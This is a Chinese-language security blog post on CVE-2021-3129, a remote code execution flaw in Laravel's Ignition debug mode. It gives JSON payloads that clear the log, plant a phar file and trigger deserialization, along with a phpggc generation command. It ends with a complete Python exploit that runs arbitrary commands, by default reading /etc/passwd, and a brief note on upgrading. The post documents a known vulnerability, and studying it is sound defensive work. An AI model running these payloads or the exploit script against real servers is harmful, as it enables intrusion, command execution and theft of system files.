Laravel Debug(CVE-2021-3129)


官网

https://laravel.com/
https://github.com/laravel

简介

Laravel 是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。

漏洞原理

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件(<=2.5.1)对MakeViewVariableOptionalSolution的file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

影响范围

  • Laravel <= 8.4.2
  • Ignition <2.5.2

框架检测

  1. 查看图标,如图:

  2. 查看报错页面,如图:

  3. 查看Cookie,如图:
![](https://blog.hackall.cn/usr/uploads/2024/04/1908355897.png)

漏洞检测

通过报错信息

Payload Json数据如下:

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxxxxx"
  }
}

使用POST方法将Payload提交到/_ignition/execute-solution,报错file_get_contents(abcd)等说明漏洞存在,如图:

通过DNSLog

将生成的子域添加到viewFile参数的值,如图:

有解析记录,说明漏洞存在,如图:

环境搭建

  1. 使用GitHub SNCKER的docker版本
  2. 创建Dockerfile
FROM php:7.4-apache
RUN set -ex \
    && apt-get update \
    && apt-get install -y --no-install-recommends unzip \
    && curl -#L -o /usr/local/bin/composer https://github.com/composer/composer/releases/download/1.10.19/composer.phar \
    && chmod +x /usr/local/bin/composer
RUN set -ex \
    && cd /var/www \
    && rm -rf html \
    && composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ \
    && composer create-project laravel/laravel . "v8.4.2" \
    && sed -i -E 's|"facade/ignition": ".+?"|"facade/ignition": "2.5.1"|g' composer.json \
    && composer update \
    && mv public html
RUN set -ex \
    && chown www-data:www-data -R /var/www \
    && a2enmod rewrite
  1. 构建镜像并运行
docker build . -t dockerfile
docker run -d -p 8000:80 dockerfile

漏洞利用

扫描目录发现HTTP 500错误,如图:

打开该路径可看出是laravel框架,如图:

也可通过查看源码看出,如图:

发送Payload触发报错,如图:

利用laravel.log实现phar反序列化

利用file_put_contents 函数使用php伪协议php://filter/write达到控制log内容,最后发送请求利用 file_get_contents() 去触发phar反序列化。要想利用laravel.log,需清空log内容。可能会想到一直base64解码,直到都为不可见字符解码清空。但base64在解码的时候如果等号后面还有内容则会报错。因此,大佬的新思路是utf-8转utf-16,然后quoted-printable编码,然后utf-16转utf-8,完成上述操作后log中所有字符转为不可见字符,最后base64解码即可。

清空日志内容的Payload如下:

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

给Log增加一次前缀,如下:

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

用phpggc生成phar序列化利用POC,然后利用Python编码,命令如下:

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

使用上面的命令生成Payload,如图:

在Payload最后添加一个字符,使得utf-16转成utf-8时总有一个Payload能被转换出来,如图:

然后将log文件转换为phar文件,Payload:

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

发送该数据,如图:

利用phar伪协议反序列化,执行任意代码,Payload:

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar://../storage/logs/laravel.log/test.txt"
  }
}

该方法需要知道laravel.log的路径。

EXP

#!/usr/bin/python3
 
import requests as req
import os, uuid
 
 
class Exp:
    __gadget_chains = {
        "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
    }  # phpggc链集合,暂时添加rce1后续再添加其他增强通杀能力
 
    __delimiter_len = 8  # 定界符长度
 
    def __vul_check(self):
        resp = req.get(self.__url, verify=False)
        if resp.status_code != 405 and "laravel" not in resp.text:
            return False
        return True
 
    def __payload_send(self, payload):
        header = {
            "Accept": "application/json"
        }
        data = {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "cve20213129",
                "viewFile": ""
            }
        }
        data["parameters"]["viewFile"] = payload
        resp = req.post(self.__url, headers=header, json=data, verify=False)
        # print(resp.text)
        return resp
 
    def __command_handler(self, command):
        """
        因为用户命令要注入到payload生成的命令中,为了防止影响结构,所以进行一些处理。
        """
 
        self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len]  # 定界符用于定位页面中命令执行结果的位置。
        # print(delimiter)
        command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
        # print(command)
 
        escaped_chars = [' ', '&', '|']  # 我只想到这么多,可自行添加。
        for c in escaped_chars:
            command = command.replace(c, '\\' + c)
        # print(command)
        return command
 
    def __clear_log(self):
        return self.__payload_send(
            "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
 
    def __gen_payload(self, gadget_chain):
        gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)
        # print(gen_shell)
        os.system(gen_shell)
        with open('payload.txt', 'r') as f:
            payload = f.read().replace('\n', '') + 'a'  # 添加一个字符使得两个完整的payload总是只有一个可以正常解码
        os.system("rm payload.txt")
        # print(payload)
        return payload
 
    def __decode_log(self):
        return self.__payload_send(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
 
    def __unserialize_log(self):
        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")
 
    def __rce(self):
        text = self.__unserialize_log().text
        # print(text)
 
        echo_find = text.find(self.__delimiter)
        # print(echo_find)
        if echo_find >= 0:
            return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
        else:
            return "[-] RCE echo is not found."
 
    def exp(self):
        for gadget_chain in self.__gadget_chains.keys():
            print("[*] Try to use %s for exploitation." % (gadget_chain))
            self.__clear_log()
            self.__clear_log()
            self.__payload_send('a' * 2)
            self.__payload_send(self.__gen_payload(gadget_chain))
            self.__decode_log()
            print("[*] Result:")
            print(self.__rce())
 
    def __init__(self, target, command):
        self.target = target
        self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
        self.__command = self.__command_handler(command)
        if not self.__vul_check():
            print("[-] [%s] is seems not vulnerable." % (self.target))
            print("[*] You can also call obj.exp() to force an attack.")
        else:
            self.exp()
 
 
def main():
    Exp("http://127.0.0.1:8888", "cat /etc/passwd")
 
 
if __name__ == '__main__':
    main()

修复方法

建议将 Laravel 框架升级至8.4.3及以上版本,或将 Ignition组件升级至 2.5.2 及以上版本。

下载链接:

https://laravel.com/docs/8.x#laravel-the-fullstack-framework

参考文章

https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g
https://www.freebuf.com/articles/web/261469.html
https://xz.aliyun.com/t/9030?page=1#toc-3

声明:Hack All Sec的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - Laravel Debug(CVE-2021-3129)


Hacker perspective for security